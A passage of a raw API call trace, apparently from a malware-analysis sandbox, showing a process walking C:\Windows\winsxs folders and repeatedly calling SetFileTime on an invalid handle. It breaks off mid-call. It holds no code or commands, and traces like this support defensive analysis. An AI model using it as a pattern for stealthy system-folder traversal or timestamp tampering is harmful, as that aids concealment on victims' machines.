[0165.901] CloseHandle (hObject=0xffffffff) returned 0 [0165.901] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.902] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.902] CloseHandle (hObject=0xffffffff) returned 0 [0165.903] lstrcmpA (lpString1=".", lpString2="amd64_netfx-debugging_msdia70_b03f5f7f11d50a3a_6.1.7601.17514_none_5d8d6334bcdccf63") returned -1 [0165.903] lstrcmpA (lpString1="..", lpString2="amd64_netfx-debugging_msdia70_b03f5f7f11d50a3a_6.1.7601.17514_none_5d8d6334bcdccf63") returned -1 [0165.904] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-debugging_msdia70_b03f5f7f11d50a3a_6.1.7601.17514_none_5d8d6334bcdccf63\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c7640aa, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9c7640aa, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9c7640aa, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0165.904] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0165.905] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0165.905] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0165.905] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.905] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.905] CloseHandle (hObject=0xffffffff) returned 0 [0165.906] lstrcmpA (lpString1=".", lpString2="amd64_netfx-dfdll_dll_b03f5f7f11d50a3a_6.1.7600.16385_none_152a54ddfc5e14f6") returned -1 [0165.906] lstrcmpA (lpString1="..", lpString2="amd64_netfx-dfdll_dll_b03f5f7f11d50a3a_6.1.7600.16385_none_152a54ddfc5e14f6") returned -1 [0165.906] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-dfdll_dll_b03f5f7f11d50a3a_6.1.7600.16385_none_152a54ddfc5e14f6\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11434486, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x1145a5e0, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x1145a5e0, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0165.906] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0165.907] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0165.907] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0165.907] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.907] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.908] CloseHandle (hObject=0xffffffff) returned 0 [0165.908] lstrcmpA (lpString1=".", lpString2="amd64_netfx-dfshim_dll_31bf3856ad364e35_6.2.7600.16513_none_9ced6808153f4ebe") returned -1 [0165.908] lstrcmpA (lpString1="..", lpString2="amd64_netfx-dfshim_dll_31bf3856ad364e35_6.2.7600.16513_none_9ced6808153f4ebe") returned -1 [0165.909] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-dfshim_dll_31bf3856ad364e35_6.2.7600.16513_none_9ced6808153f4ebe\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82a20860, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x82a20860, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x82a20860, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0165.910] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0165.910] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0165.910] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0165.910] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.911] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.911] CloseHandle (hObject=0xffffffff) returned 0 [0165.911] lstrcmpA (lpString1=".", lpString2="amd64_netfx-dfshim_dll_31bf3856ad364e35_6.2.7601.17514_none_9ed4c9241264ce4f") returned -1 [0165.911] lstrcmpA (lpString1="..", lpString2="amd64_netfx-dfshim_dll_31bf3856ad364e35_6.2.7601.17514_none_9ed4c9241264ce4f") returned -1 [0165.911] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-dfshim_dll_31bf3856ad364e35_6.2.7601.17514_none_9ed4c9241264ce4f\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x890281ec, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x890281ec, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x890281ec, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0165.912] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0165.912] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0165.912] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0165.912] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.913] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.913] CloseHandle (hObject=0xffffffff) returned 0 [0165.913] lstrcmpA (lpString1=".", lpString2="amd64_netfx-dfsvc_b03f5f7f11d50a3a_6.1.7600.16385_none_96dbb959ba7c7a79") returned -1 [0165.913] lstrcmpA (lpString1="..", lpString2="amd64_netfx-dfsvc_b03f5f7f11d50a3a_6.1.7600.16385_none_96dbb959ba7c7a79") returned -1 [0165.913] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-dfsvc_b03f5f7f11d50a3a_6.1.7600.16385_none_96dbb959ba7c7a79\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1145a5e0, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x1145a5e0, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x1145a5e0, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0165.914] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0165.914] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0165.914] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0165.914] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.915] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.915] CloseHandle (hObject=0xffffffff) returned 0 [0165.915] lstrcmpA (lpString1=".", lpString2="amd64_netfx-dv_aspnetmmc_chm_res_b03f5f7f11d50a3a_6.1.7600.16385_none_8150ce75bdfeffdc") returned -1 [0165.915] lstrcmpA (lpString1="..", lpString2="amd64_netfx-dv_aspnetmmc_chm_res_b03f5f7f11d50a3a_6.1.7600.16385_none_8150ce75bdfeffdc") returned -1 [0165.915] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-dv_aspnetmmc_chm_res_b03f5f7f11d50a3a_6.1.7600.16385_none_8150ce75bdfeffdc\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1145a5e0, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x1145a5e0, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x1145a5e0, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0165.916] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0165.916] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0165.916] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0165.916] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.917] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.917] CloseHandle (hObject=0xffffffff) returned 0 [0165.920] lstrcmpA (lpString1=".", lpString2="amd64_netfx-dw_b03f5f7f11d50a3a_6.1.7600.16385_none_5a768666c3091014") returned -1 [0165.920] lstrcmpA (lpString1="..", lpString2="amd64_netfx-dw_b03f5f7f11d50a3a_6.1.7600.16385_none_5a768666c3091014") returned -1 [0165.920] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-dw_b03f5f7f11d50a3a_6.1.7600.16385_none_5a768666c3091014\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1145a5e0, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x1145a5e0, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x1145a5e0, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0165.920] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0165.920] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0165.920] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0165.921] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.921] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.921] CloseHandle (hObject=0xffffffff) returned 0 [0166.172] lstrcmpA (lpString1=".", lpString2="amd64_netfx-eventlogmessages_dll_b03f5f7f11d50a3a_6.1.7600.16385_none_5c3e74509ac94820") returned -1 [0166.172] lstrcmpA (lpString1="..", lpString2="amd64_netfx-eventlogmessages_dll_b03f5f7f11d50a3a_6.1.7600.16385_none_5c3e74509ac94820") returned -1 [0166.173] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-eventlogmessages_dll_b03f5f7f11d50a3a_6.1.7600.16385_none_5c3e74509ac94820\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1145a5e0, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x1145a5e0, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x1145a5e0, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.173] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0166.173] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0166.174] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0166.174] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0166.174] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0166.174] CloseHandle (hObject=0xffffffff) returned 0 [0166.175] lstrcmpA (lpString1=".", lpString2="amd64_netfx-fusion_dll_b03f5f7f11d50a3a_6.1.7600.16385_none_8fab7b70b26a3690") returned -1 [0166.175] lstrcmpA (lpString1="..", lpString2="amd64_netfx-fusion_dll_b03f5f7f11d50a3a_6.1.7600.16385_none_8fab7b70b26a3690") returned -1 [0166.175] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-fusion_dll_b03f5f7f11d50a3a_6.1.7600.16385_none_8fab7b70b26a3690\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1145a5e0, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x1145a5e0, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x1145a5e0, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.175] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0166.175] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0166.176] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0166.176] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-fw_netfxperf_dll_31bf3856ad364e35_6.2.7600.16513_none_b9011a1a337e72a1\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82a20860, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x82a20860, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x82a20860, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.177] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0166.177] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-fw_netfxperf_dll_31bf3856ad364e35_6.2.7601.17514_none_bae87b3630a3f232\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8923d530, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8923d530, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8923d530, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.177] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0166.178] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-fw_perfcounters_b03f5f7f11d50a3a_6.1.7600.16385_none_239c9c8a8e93c65b\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1145a5e0, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x114cc9ee, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x114cc9ee, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.181] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0166.181] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0166.181] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0166.182] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-ieexecremote_b03f5f7f11d50a3a_6.1.7600.16385_none_986ffe2f993df792\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x114a6894, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x114a6894, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x114a6894, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.183] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0166.183] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-ieexec_b03f5f7f11d50a3a_6.1.7600.16385_none_7dfc94f7357c56d2\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x114a6894, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x114a6894, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x114a6894, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.184] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0166.184] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-iehost_b03f5f7f11d50a3a_6.1.7600.16385_none_7dd203ef359dfcfb\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x114a6894, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x114a6894, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x114a6894, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.185] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0166.185] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-iiehost_b03f5f7f11d50a3a_6.1.7600.16385_none_fd4509af10554f1e\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x114a6894, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x114a6894, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x114a6894, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.186] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0166.186] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-installsqlstate_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_16dc087b33140e2a\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x114a6894, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x114a6894, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x114a6894, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.186] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0166.187] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-installutillib_dll_b03f5f7f11d50a3a_6.1.7600.16385_none_43907f7b80523a4c\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x114a6894, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x114a6894, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x114a6894, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.187] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0166.188] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-jsc_b03f5f7f11d50a3a_6.1.7600.16385_none_14e6e9dab736481d\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x114a6894, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x114cc9ee, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x114cc9ee, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.188] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0166.188] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0166.189] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-ldr64_exe_31bf3856ad364e35_6.1.7600.16385_none_f98e4869675ab367\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x114cc9ee, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x114cc9ee, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x114cc9ee, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.190] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0166.190] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-machine_config_ocm_b03f5f7f11d50a3a_6.1.7601.17514_none_81fa0191bdd08961\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94e42293, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0x94e42293, ftLastAccessTime.dwHighDateTime=0x1cb892a, ftLastWriteTime.dwLowDateTime=0x94e42293, ftLastWriteTime.dwHighDateTime=0x1cb892a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.192] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0166.193] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0166.193] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0166.194] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-microsoft.build.engine_b03f5f7f11d50a3a_6.1.7601.17514_none_023030b1590b3343\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8db6fa37, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8db6fa37, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8db6fa37, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.195] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0166.201] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-microsoft.build.framework_b03f5f7f11d50a3a_6.1.7601.17514_none_4c9eab58e2f91183\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c92d12d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9c92d12d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9c92d12d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.201] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0166.201] FindFirstFileA (in: 